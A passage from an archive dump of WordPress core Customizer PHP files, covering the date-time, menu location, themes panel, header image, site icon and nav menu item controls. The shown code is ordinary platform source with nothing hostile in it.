if ( _.isObject( choice ) && ! _.isUndefined( choice.text ) && ! _.isUndefined( choice.value ) ) {
text = choice.text;
value = choice.value;
}
#>
<option value="{{ value }}" >
{{ text }}
</option>
<# } ); #>
</select>
<?php $month_field = trim( ob_get_clean() ); ?>
<?php ob_start(); ?>
<label for="{{ idPrefix }}date-time-day" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
esc_html_e( 'Day' );
?>
</label>
<input id="{{ idPrefix }}date-time-day" type="number" size="2" autocomplete="off" class="date-input day tiny-text" data-component="day" min="1" max="31" />
<?php $day_field = trim( ob_get_clean() ); ?>
<?php ob_start(); ?>
<label for="{{ idPrefix }}date-time-year" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
esc_html_e( 'Year' );
?>
</label>
<input id="{{ idPrefix }}date-time-year" type="number" size="4" autocomplete="off" class="date-input year tiny-text" data-component="year" min="{{ data.minYear }}" max="{{ data.maxYear }}">
<?php $year_field = trim( ob_get_clean() ); ?>
<?php printf( $date_format, $year_field, $month_field, $day_field ); ?>
</div>
</fieldset>
<# if ( data.includeTime ) { #>
<fieldset class="time-row clear">
<legend class="title-time"><?php esc_html_e( 'Time' ); ?></legend>
<div class="time-fields clear">
<label for="{{ idPrefix }}date-time-hour" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
esc_html_e( 'Hour' );
?>
</label>
<# var maxHour = data.twelveHourFormat ? 12 : 23; #>
<# var minHour = data.twelveHourFormat ? 1 : 0; #>
<input id="{{ idPrefix }}date-time-hour" type="number" size="2" autocomplete="off" class="date-input hour tiny-text" data-component="hour" min="{{ minHour }}" max="{{ maxHour }}">
:
<label for="{{ idPrefix }}date-time-minute" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
esc_html_e( 'Minute' );
?>
</label>
<input id="{{ idPrefix }}date-time-minute" type="number" size="2" autocomplete="off" class="date-input minute tiny-text" data-component="minute" min="0" max="59">
<# if ( data.twelveHourFormat ) { #>
<label for="{{ idPrefix }}date-time-meridian" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
esc_html_e( 'Meridian' );
?>
</label>
<select id="{{ idPrefix }}date-time-meridian" class="date-input meridian" data-component="meridian">
<option value="am"><?php esc_html_e( 'AM' ); ?></option>
<option value="pm"><?php esc_html_e( 'PM' ); ?></option>
</select>
<# } #>
<p><?php echo $timezone_info['description']; ?></p>
</div>
</fieldset>
<# } #>
</div>
<?php
}
/**
* Generate options for the month Select.
*
* Based on touch_time().
*
* @since 4.9.0
*
* @see touch_time()
*
* @global WP_Locale $wp_locale WordPress date and time locale object.
*
* @return array
*/
public function get_month_choices() {
global $wp_locale;
$months = array();
for ( $i = 1; $i < 13; $i++ ) {
$month_text = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
/* translators: 1: Month number (01, 02, etc.), 2: Month abbreviation. */
$months[ $i ]['text'] = sprintf( __( '%1$s-%2$s' ), $i, $month_text );
$months[ $i ]['value'] = $i;
}
return array(
'month_choices' => $months,
);
}
/**
* Get timezone info.
*
* @since 4.9.0
*
* @return array {
* Timezone info. All properties are optional.
*
* @type string $abbr Timezone abbreviation. Examples: PST or CEST.
* @type string $description Human-readable timezone description as HTML.
* }
*/
public function get_timezone_info() {
$tz_string = get_option( 'timezone_string' );
$timezone_info = array();
if ( $tz_string ) {
try {
$tz = new DateTimeZone( $tz_string );
} catch ( Exception $e ) {
$tz = '';
}
if ( $tz ) {
$now = new DateTime( 'now', $tz );
$formatted_gmt_offset = $this->format_gmt_offset( $tz->getOffset( $now ) / HOUR_IN_SECONDS );
$tz_name = str_replace( '_', ' ', $tz->getName() );
$timezone_info['abbr'] = $now->format( 'T' );
$timezone_info['description'] = sprintf(
/* translators: 1: Timezone name, 2: Timezone abbreviation, 3: UTC abbreviation and offset, 4: UTC offset. */
__( 'Your timezone is set to %1$s (%2$s), currently %3$s (Coordinated Universal Time %4$s).' ),
$tz_name,
'<abbr>' . $timezone_info['abbr'] . '</abbr>',
'<abbr>UTC</abbr>' . $formatted_gmt_offset,
$formatted_gmt_offset
);
} else {
$timezone_info['description'] = '';
}
} else {
$formatted_gmt_offset = $this->format_gmt_offset( (int) get_option( 'gmt_offset', 0 ) );
$timezone_info['description'] = sprintf(
/* translators: 1: UTC abbreviation and offset, 2: UTC offset. */
__( 'Your timezone is set to %1$s (Coordinated Universal Time %2$s).' ),
'<abbr>UTC</abbr>' . $formatted_gmt_offset,
$formatted_gmt_offset
);
}
return $timezone_info;
}
/**
* Format GMT Offset.
*
* @since 4.9.0
*
* @see wp_timezone_choice()
*
* @param float $offset Offset in hours.
* @return string Formatted offset.
*/
public function format_gmt_offset( $offset ) {
if ( 0 <= $offset ) {
$formatted_offset = '+' . (string) $offset;
} else {
$formatted_offset = (string) $offset;
}
$formatted_offset = str_replace(
array( '.25', '.5', '.75' ),
array( ':15', ':30', ':45' ),
$formatted_offset
);
return $formatted_offset;
}
}
class-wp-customize-nav-menu-locations-control.php 0000644 00000005401 15172715560 0016232 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Locations_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.9.0
*/
/**
* Customize Nav Menu Locations Control Class.
*
* @since 4.9.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Nav_Menu_Locations_Control extends WP_Customize_Control {
/**
* Control type.
*
* @since 4.9.0
* @var string
*/
public $type = 'nav_menu_locations';
/**
* Don't render the control's content - it uses a JS template instead.
*
* @since 4.9.0
*/
public function render_content() {}
/**
* JS/Underscore template for the control UI.
*
* @since 4.9.0
*/
public function content_template() {
if ( current_theme_supports( 'menus' ) ) :
?>
<# var elementId; #>
<ul class="menu-location-settings">
<li class="customize-control assigned-menu-locations-title">
<span class="customize-control-title">{{ wp.customize.Menus.data.l10n.locationsTitle }}</span>
<# if ( data.isCreating ) { #>
<p>
<?php echo _x( 'Where do you want this menu to appear?', 'menu locations' ); ?>
<?php
printf(
/* translators: 1: Documentation URL, 2: Additional link attributes, 3: Accessibility text. */
_x( '(If you plan to use a menu <a href="%1$s" %2$s>widget%3$s</a>, skip this step.)', 'menu locations' ),
__( 'https://wordpress.org/documentation/article/manage-wordpress-widgets/' ),
' class="external-link" target="_blank"',
sprintf(
'<span class="screen-reader-text"> %s</span>',
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
)
);
?>
</p>
<# } else { #>
<p><?php echo _x( 'Here’s where this menu appears. If you would like to change that, pick another location.', 'menu locations' ); ?></p>
<# } #>
</li>
<?php foreach ( get_registered_nav_menus() as $location => $description ) : ?>
<# elementId = _.uniqueId( 'customize-nav-menu-control-location-' ); #>
<li class="customize-control customize-control-checkbox assigned-menu-location">
<span class="customize-inside-control-row">
<input id="{{ elementId }}" type="checkbox" data-menu-id="{{ data.menu_id }}" data-location-id="<?php echo esc_attr( $location ); ?>" class="menu-location" />
<label for="{{ elementId }}">
<?php echo $description; ?>
<span class="theme-location-set">
<?php
printf(
/* translators: %s: Menu name. */
_x( '(Current: %s)', 'menu location' ),
'<span class="current-menu-location-name-' . esc_attr( $location ) . '"></span>'
);
?>
</span>
</label>
</span>
</li>
<?php endforeach; ?>
</ul>
<?php
endif;
}
}
class-wp-customize-themes-panel.php 0000644 00000006471 15172715560 0013427 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Themes_Panel class
*
* @package WordPress
* @subpackage Customize
* @since 4.9.0
*/
/**
* Customize Themes Panel Class
*
* @since 4.9.0
*
* @see WP_Customize_Panel
*/
class WP_Customize_Themes_Panel extends WP_Customize_Panel {
/**
* Panel type.
*
* @since 4.9.0
* @var string
*/
public $type = 'themes';
/**
* An Underscore (JS) template for rendering this panel's container.
*
* The themes panel renders a custom panel heading with the active theme and a switch themes button.
*
* @see WP_Customize_Panel::print_template()
*
* @since 4.9.0
*/
protected function render_template() {
?>
<li id="accordion-section-{{ data.id }}" class="accordion-section control-panel-themes">
<h3 class="accordion-section-title">
<?php
if ( $this->manager->is_theme_active() ) {
echo '<span class="customize-action">' . __( 'Active theme' ) . '</span> {{ data.title }}';
} else {
echo '<span class="customize-action">' . __( 'Previewing theme' ) . '</span> {{ data.title }}';
}
?>
<?php if ( current_user_can( 'switch_themes' ) ) : ?>
<button type="button" class="button change-theme" aria-label="<?php esc_attr_e( 'Change theme' ); ?>"><?php _ex( 'Change', 'theme' ); ?></button>
<?php endif; ?>
</h3>
<ul class="accordion-sub-container control-panel-content"></ul>
</li>
<?php
}
/**
* An Underscore (JS) template for this panel's content (but not its container).
*
* Class variables for this panel class are available in the `data` JS object;
* export custom variables by overriding WP_Customize_Panel::json().
*
* @since 4.9.0
*
* @see WP_Customize_Panel::print_template()
*/
protected function content_template() {
?>
<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
<button class="customize-panel-back" tabindex="-1" type="button"><span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Back' );
?>
</span></button>
<div class="accordion-section-title">
<span class="preview-notice">
<?php
printf(
/* translators: %s: Themes panel title in the Customizer. */
__( 'You are browsing %s' ),
'<strong class="panel-title">' . __( 'Themes' ) . '</strong>'
); // Separate strings for consistency with other panels.
?>
</span>
<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
<# if ( data.description ) { #>
<button class="customize-help-toggle dashicons dashicons-editor-help" type="button" aria-expanded="false"><span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Help' );
?>
</span></button>
<# } #>
<?php endif; ?>
</div>
<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
<# if ( data.description ) { #>
<div class="description customize-panel-description">
{{{ data.description }}}
</div>
<# } #>
<?php endif; ?>
<div class="customize-control-notifications-container"></div>
</li>
<li class="customize-themes-full-container-container">
<div class="customize-themes-full-container">
<div class="customize-themes-notifications"></div>
</div>
</li>
<?php
}
}
class-wp-customize-new-menu-control.php 0000644 00000003256 15172715560 0014254 0 ustar 00 <?php
/**
* Customize API: WP_Customize_New_Menu_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
* @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
*/
_deprecated_file( basename( __FILE__ ), '4.9.0' );
/**
* Customize control class for new menus.
*
* @since 4.3.0
* @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
*
* @see WP_Customize_Control
*/
class WP_Customize_New_Menu_Control extends WP_Customize_Control {
/**
* Control type.
*
* @since 4.3.0
* @var string
*/
public $type = 'new_menu';
/**
* Constructor.
*
* @since 4.9.0
* @deprecated 4.9.0
*
* @see WP_Customize_Control::__construct()
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id The control ID.
* @param array $args Optional. Arguments to override class property defaults.
* See WP_Customize_Control::__construct() for information
* on accepted arguments. Default empty array.
*/
public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
_deprecated_function( __METHOD__, '4.9.0' );
parent::__construct( $manager, $id, $args );
}
/**
* Render the control's content.
*
* @since 4.3.0
* @deprecated 4.9.0
*/
public function render_content() {
_deprecated_function( __METHOD__, '4.9.0' );
?>
<button type="button" class="button button-primary" id="create-new-menu-submit"><?php _e( 'Create Menu' ); ?></button>
<span class="spinner"></span>
<?php
}
}
class-wp-customize-new-menu-section.php 0000644 00000003235 15172715560 0014235 0 ustar 00 <?php
/**
* Customize API: WP_Customize_New_Menu_Section class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
* @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
*/
_deprecated_file( basename( __FILE__ ), '4.9.0' );
/**
* Customize Menu Section Class
*
* @since 4.3.0
* @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
*
* @see WP_Customize_Section
*/
class WP_Customize_New_Menu_Section extends WP_Customize_Section {
/**
* Control type.
*
* @since 4.3.0
* @var string
*/
public $type = 'new_menu';
/**
* Constructor.
*
* Any supplied $args override class property defaults.
*
* @since 4.9.0
* @deprecated 4.9.0
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id A specific ID of the section.
* @param array $args Section arguments.
*/
public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
_deprecated_function( __METHOD__, '4.9.0' );
parent::__construct( $manager, $id, $args );
}
/**
* Render the section, and the controls that have been added to it.
*
* @since 4.3.0
* @deprecated 4.9.0
*/
protected function render() {
_deprecated_function( __METHOD__, '4.9.0' );
?>
<li id="accordion-section-<?php echo esc_attr( $this->id ); ?>" class="accordion-section-new-menu">
<button type="button" class="button add-new-menu-item add-menu-toggle" aria-expanded="false">
<?php echo esc_html( $this->title ); ?>
</button>
<ul class="new-menu-section-content"></ul>
</li>
<?php
}
}
class-wp-customize-nav-menu-section.php 0000644 00000001314 15172715560 0014224 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Section class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Menu Section Class
*
* Custom section only needed in JS.
*
* @since 4.3.0
*
* @see WP_Customize_Section
*/
class WP_Customize_Nav_Menu_Section extends WP_Customize_Section {
/**
* Control type.
*
* @since 4.3.0
* @var string
*/
public $type = 'nav_menu';
/**
* Get section parameters for JS.
*
* @since 4.3.0
* @return array Exported parameters.
*/
public function json() {
$exported = parent::json();
$exported['menu_id'] = (int) preg_replace( '/^nav_menu\[(-?\d+)\]/', '$1', $this->id );
return $exported;
}
}
class-wp-customize-background-position-control.php 0000644 00000005730 15172715560 0016501 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Background_Position_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.7.0
*/
/**
* Customize Background Position Control class.
*
* @since 4.7.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Background_Position_Control extends WP_Customize_Control {
/**
* Type.
*
* @since 4.7.0
* @var string
*/
public $type = 'background_position';
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*
* @since 4.7.0
*/
public function render_content() {}
/**
* Render a JS template for the content of the position control.
*
* @since 4.7.0
*/
public function content_template() {
$options = array(
array(
'left top' => array(
'label' => __( 'Top Left' ),
'icon' => 'dashicons dashicons-arrow-left-alt',
),
'center top' => array(
'label' => __( 'Top' ),
'icon' => 'dashicons dashicons-arrow-up-alt',
),
'right top' => array(
'label' => __( 'Top Right' ),
'icon' => 'dashicons dashicons-arrow-right-alt',
),
),
array(
'left center' => array(
'label' => __( 'Left' ),
'icon' => 'dashicons dashicons-arrow-left-alt',
),
'center center' => array(
'label' => __( 'Center' ),
'icon' => 'background-position-center-icon',
),
'right center' => array(
'label' => __( 'Right' ),
'icon' => 'dashicons dashicons-arrow-right-alt',
),
),
array(
'left bottom' => array(
'label' => __( 'Bottom Left' ),
'icon' => 'dashicons dashicons-arrow-left-alt',
),
'center bottom' => array(
'label' => __( 'Bottom' ),
'icon' => 'dashicons dashicons-arrow-down-alt',
),
'right bottom' => array(
'label' => __( 'Bottom Right' ),
'icon' => 'dashicons dashicons-arrow-right-alt',
),
),
);
?>
<# if ( data.label ) { #>
<span class="customize-control-title">{{{ data.label }}}</span>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
<div class="customize-control-content">
<fieldset>
<legend class="screen-reader-text"><span>
<?php
/* translators: Hidden accessibility text. */
_e( 'Image Position' );
?>
</span></legend>
<div class="background-position-control">
<?php foreach ( $options as $group ) : ?>
<div class="button-group">
<?php foreach ( $group as $value => $input ) : ?>
<label>
<input class="ui-helper-hidden-accessible" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>">
<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
<span class="screen-reader-text"><?php echo $input['label']; ?></span>
</label>
<?php endforeach; ?>
</div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
<?php
}
}
class-wp-customize-header-image-control.php 0000644 00000017535 15172715560 0015036 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Header_Image_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Header Image Control class.
*
* @since 3.4.0
*
* @see WP_Customize_Image_Control
*/
class WP_Customize_Header_Image_Control extends WP_Customize_Image_Control {
/**
* Customize control type.
*
* @since 4.2.0
* @var string
*/
public $type = 'header';
/**
* Uploaded header images.
*
* @since 3.9.0
* @var string
*/
public $uploaded_headers;
/**
* Default header images.
*
* @since 3.9.0
* @var string
*/
public $default_headers;
/**
* Constructor.
*
* @since 3.4.0
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
*/
public function __construct( $manager ) {
parent::__construct(
$manager,
'header_image',
array(
'label' => __( 'Header Image' ),
'settings' => array(
'default' => 'header_image',
'data' => 'header_image_data',
),
'section' => 'header_image',
'removed' => 'remove-header',
'get_url' => 'get_header_image',
)
);
}
/**
*/
public function enqueue() {
wp_enqueue_media();
wp_enqueue_script( 'customize-views' );
$this->prepare_control();
wp_localize_script(
'customize-views',
'_wpCustomizeHeader',
array(
'data' => array(
'width' => absint( get_theme_support( 'custom-header', 'width' ) ),
'height' => absint( get_theme_support( 'custom-header', 'height' ) ),
'flex-width' => absint( get_theme_support( 'custom-header', 'flex-width' ) ),
'flex-height' => absint( get_theme_support( 'custom-header', 'flex-height' ) ),
'currentImgSrc' => $this->get_current_image_src(),
),
'nonces' => array(
'add' => wp_create_nonce( 'header-add' ),
'remove' => wp_create_nonce( 'header-remove' ),
),
'uploads' => $this->uploaded_headers,
'defaults' => $this->default_headers,
)
);
parent::enqueue();
}
/**
* @global Custom_Image_Header $custom_image_header
*/
public function prepare_control() {
global $custom_image_header;
if ( empty( $custom_image_header ) ) {
return;
}
add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_header_image_template' ) );
// Process default headers and uploaded headers.
$custom_image_header->process_default_headers();
$this->default_headers = $custom_image_header->get_default_header_images();
$this->uploaded_headers = $custom_image_header->get_uploaded_header_images();
}
/**
*/
public function print_header_image_template() {
?>
<script type="text/template" id="tmpl-header-choice">
<# if (data.random) { #>
<button type="button" class="button display-options random">
<span class="dashicons dashicons-randomize dice"></span>
<# if ( data.type === 'uploaded' ) { #>
<?php _e( 'Randomize uploaded headers' ); ?>
<# } else if ( data.type === 'default' ) { #>
<?php _e( 'Randomize suggested headers' ); ?>
<# } #>
</button>
<# } else { #>
<button type="button" class="choice thumbnail"
data-customize-image-value="{{data.header.url}}"
data-customize-header-image-data="{{JSON.stringify(data.header)}}">
<span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Set image' );
?>
</span>
<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />
</button>
<# if ( data.type === 'uploaded' ) { #>
<button type="button" class="dashicons dashicons-no close">
<span class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
_e( 'Remove image' );
?>
</span>
</button>
<# } #>
<# } #>
</script>
<script type="text/template" id="tmpl-header-current">
<# if (data.choice) { #>
<# if (data.random) { #>
<div class="placeholder">
<span class="dashicons dashicons-randomize dice"></span>
<# if ( data.type === 'uploaded' ) { #>
<?php _e( 'Randomizing uploaded headers' ); ?>
<# } else if ( data.type === 'default' ) { #>
<?php _e( 'Randomizing suggested headers' ); ?>
<# } #>
</div>
<# } else { #>
<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />
<# } #>
<# } #>
</script>
<?php
}
/**
* @return string|void
*/
public function get_current_image_src() {
$src = $this->value();
if ( isset( $this->get_url ) ) {
$src = call_user_func( $this->get_url, $src );
return $src;
}
}
/**
*/
public function render_content() {
$visibility = $this->get_current_image_src() ? '' : ' style="display:none" ';
$width = absint( get_theme_support( 'custom-header', 'width' ) );
$height = absint( get_theme_support( 'custom-header', 'height' ) );
?>
<div class="customize-control-content">
<?php
if ( current_theme_supports( 'custom-header', 'video' ) ) {
echo '<span class="customize-control-title">' . $this->label . '</span>';
}
?>
<div class="customize-control-notifications-container"></div>
<p class="customizer-section-intro customize-control-description">
<?php
if ( current_theme_supports( 'custom-header', 'video' ) ) {
_e( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image that matches the size of your video — you’ll be able to crop your image once you upload it for a perfect fit.' );
} elseif ( $width && $height ) {
printf(
/* translators: %s: Header size in pixels. */
__( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header size of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ),
sprintf( '<strong>%s × %s</strong>', $width, $height )
);
} elseif ( $width ) {
printf(
/* translators: %s: Header width in pixels. */
__( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ),
sprintf( '<strong>%s</strong>', $width )
);
} else {
printf(
/* translators: %s: Header height in pixels. */
__( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ),
sprintf( '<strong>%s</strong>', $height )
);
}
?>
</p>
<div class="current">
<label for="header_image-button">
<span class="customize-control-title">
<?php _e( 'Current header' ); ?>
</span>
</label>
<div class="container">
</div>
</div>
<div class="actions">
<?php if ( current_user_can( 'upload_files' ) ) : ?>
<button type="button"<?php echo $visibility; ?> class="button remove" aria-label="<?php esc_attr_e( 'Hide header image' ); ?>"><?php _e( 'Hide image' ); ?></button>
<button type="button" class="button new <?php echo ! $this->get_current_image_src() ? '' : 'customize-header-image-not-selected'; ?>" id="header_image-button" aria-label="<?php esc_attr_e( 'Add Header Image' ); ?>"><?php _e( 'Add Image' ); ?></button>
<?php endif; ?>
</div>
<div class="choices">
<span class="customize-control-title header-previously-uploaded">
<?php _ex( 'Previously uploaded', 'custom headers' ); ?>
</span>
<div class="uploaded">
<div class="list">
</div>
</div>
<span class="customize-control-title header-default">
<?php _ex( 'Suggested', 'custom headers' ); ?>
</span>
<div class="default">
<div class="list">
</div>
</div>
</div>
</div>
<?php
}
}
class-wp-customize-site-icon-control.php 0000644 00000012053 15172715561 0014407 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Site_Icon_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Site Icon control class.
*
* Used only for custom functionality in JavaScript.
*
* @since 4.3.0
*
* @see WP_Customize_Cropped_Image_Control
*/
class WP_Customize_Site_Icon_Control extends WP_Customize_Cropped_Image_Control {
/**
* Control type.
*
* @since 4.3.0
* @var string
*/
public $type = 'site_icon';
/**
* Constructor.
*
* @since 4.3.0
*
* @see WP_Customize_Control::__construct()
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id Control ID.
* @param array $args Optional. Arguments to override class property defaults.
* See WP_Customize_Control::__construct() for information
* on accepted arguments. Default empty array.
*/
public function __construct( $manager, $id, $args = array() ) {
parent::__construct( $manager, $id, $args );
add_action( 'customize_controls_print_styles', 'wp_site_icon', 99 );
}
/**
* Renders a JS template for the content of the site icon control.
*
* @since 4.5.0
*/
public function content_template() {
?>
<# if ( data.label ) { #>
<span class="customize-control-title">{{ data.label }}</span>
<# } #>
<# if ( data.attachment && data.attachment.id ) { #>
<div class="attachment-media-view">
<# if ( data.attachment.sizes ) { #>
<style>
:root{
--site-icon-url: url( '{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}' );
}
</style>
<div class="site-icon-preview customizer">
<div class="direction-wrap">
<img src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" class="app-icon-preview" alt="{{
data.attachment.alt ?
wp.i18n.sprintf(
<?php
/* translators: %s: The selected image alt text. */
echo wp_json_encode( __( 'App icon preview: Current image: %s' ) )
?>
,
data.attachment.alt
) :
wp.i18n.sprintf(
<?php
/* translators: %s: The selected image filename. */
echo wp_json_encode( __( 'App icon preview: The current image has no alternative text. The file name is: %s' ) );
?>
,
data.attachment.filename
)
}}" />
<div class="site-icon-preview-browser">
<svg role="img" aria-hidden="true" fill="none" xmlns="http://www.w3.org/2000/svg" class="browser-buttons"><path fill-rule="evenodd" clip-rule="evenodd" d="M0 20a6 6 0 1 1 12 0 6 6 0 0 1-12 0Zm18 0a6 6 0 1 1 12 0 6 6 0 0 1-12 0Zm24-6a6 6 0 1 0 0 12 6 6 0 0 0 0-12Z" /></svg>
<div class="site-icon-preview-tab">
<img src="{{ data.attachment.sizes.full ? data.attachment.sizes.full.url : data.attachment.url }}" class="browser-icon-preview" alt="{{
data.attachment.alt ?
wp.i18n.sprintf(
<?php
/* translators: %s: The selected image alt text. */
echo wp_json_encode( __( 'Browser icon preview: Current image: %s' ) );
?>
,
data.attachment.alt
) :
wp.i18n.sprintf(
<?php
/* translators: %s: The selected image filename. */
echo wp_json_encode( __( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ) );
?>
,
data.attachment.filename
)
}}" />
<div class="site-icon-preview-site-title" aria-hidden="true"><# print( '<?php echo esc_js( get_bloginfo( 'name' ) ); ?>' ) #></div>
<svg role="img" aria-hidden="true" fill="none" xmlns="http://www.w3.org/2000/svg" class="close-button">
<path d="M12 13.0607L15.7123 16.773L16.773 15.7123L13.0607 12L16.773 8.28772L15.7123 7.22706L12 10.9394L8.28771 7.22705L7.22705 8.28771L10.9394 12L7.22706 15.7123L8.28772 16.773L12 13.0607Z" />
</svg>
</div>
</div>
</div>
</div>
</div>
<# } #>
<div class="actions">
<# if ( data.canUpload ) { #>
<button type="button" class="button remove-button"><?php echo $this->button_labels['remove']; ?></button>
<button type="button" class="button upload-button"><?php echo $this->button_labels['change']; ?></button>
<# } #>
</div>
</div>
<# } else { #>
<div class="attachment-media-view">
<# if ( data.canUpload ) { #>
<button type="button" class="upload-button button"><?php echo $this->button_labels['site_icon']; ?></button>
<# } #>
<div class="actions">
<# if ( data.defaultAttachment ) { #>
<button type="button" class="button default-button"><?php echo $this->button_labels['default']; ?></button>
<# } #>
</div>
</div>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
<?php
}
}
class-wp-customize-nav-menu-item-control.php 0000644 00000017735 15172715561 0015213 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Item_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize control to represent the name field for a given menu.
*
* @since 4.3.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Nav_Menu_Item_Control extends WP_Customize_Control {
/**
* Control type.
*
* @since 4.3.0
* @var string
*/
public $type = 'nav_menu_item';
/**
* The nav menu item setting.
*
* @since 4.3.0
* @var WP_Customize_Nav_Menu_Item_Setting
*/
public $setting;
/**
* Constructor.
*
* @since 4.3.0
*
* @see WP_Customize_Control::__construct()
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id The control ID.
* @param array $args Optional. Arguments to override class property defaults.
* See WP_Customize_Control::__construct() for information
* on accepted arguments. Default empty array.
*/
public function __construct( $manager, $id, $args = array() ) {
parent::__construct( $manager, $id, $args );
}
/**
* Don't render the control's content - it's rendered with a JS template.
*
* @since 4.3.0
*/
public function render_content() {}
/**
* JS/Underscore template for the control UI.
*
* @since 4.3.0
*/
public function content_template() {
?>
<div class="menu-item-bar">
<div class="menu-item-handle">
<span class="item-type" aria-hidden="true">{{ data.item_type_label }}</span>
<span class="item-title" aria-hidden="true">
<span class="spinner"></span>
<span class="menu-item-title<# if ( ! data.title && ! data.original_title ) { #> no-title<# } #>">{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}</span>
<# if ( 0 === data.depth ) { #>
<span class="is-submenu" style="display: none;"><?php _e( 'sub item' ); ?></span>
<# } else { #>
<span class="is-submenu"><?php _e( 'sub item' ); ?></span>
<# } #>
</span>
<span class="item-controls">
<button type="button" class="button-link item-edit" aria-expanded="false"><span class="screen-reader-text">
<# if ( 0 === data.depth ) { #>
<?php
/* translators: 1: Title of a menu item, 2: Type of a menu item. 3: Item index, 4: Total items. */
printf( __( 'Edit %1$s (%2$s, %3$d of %4$d)' ), '{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}', '', '' );
?>
<# } else if ( 1 === data.depth ) { #>
<?php
/* translators: 1: Title of a menu item, 2: Type of a menu item, 3, Item index, 4, Total items, 5: Item parent. */
printf( __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s)' ), '{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}', '', '', '' );
?>
<# } else { #>
<?php
/* translators: 1: Title of a menu item, 2: Type of a menu item, 3, Item index, 4, Total items, 5: Item parent, 6: Item depth. */
printf( __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s, level %6$s)' ), '{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}', '', '', '', '{{data.depth}}' );
?>
<# } #>
</span><span class="toggle-indicator" aria-hidden="true"></span></button>
<button type="button" class="button-link item-delete submitdelete deletion"><span class="screen-reader-text">
<?php
/* translators: 1: Title of a menu item, 2: Type of a menu item. */
printf( __( 'Remove Menu Item: %1$s (%2$s)' ), '{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}' );
?>
</span></button>
</span>
</div>
</div>
<div class="menu-item-settings" id="menu-item-settings-{{ data.menu_item_id }}">
<# if ( 'custom' === data.item_type ) { #>
<p class="field-url description description-thin">
<label for="edit-menu-item-url-{{ data.menu_item_id }}">
<?php _e( 'URL' ); ?><br />
<input class="widefat code edit-menu-item-url" type="text" id="edit-menu-item-url-{{ data.menu_item_id }}" name="menu-item-url" />
</label>
</p>
<# } #>
<p class="description description-thin">
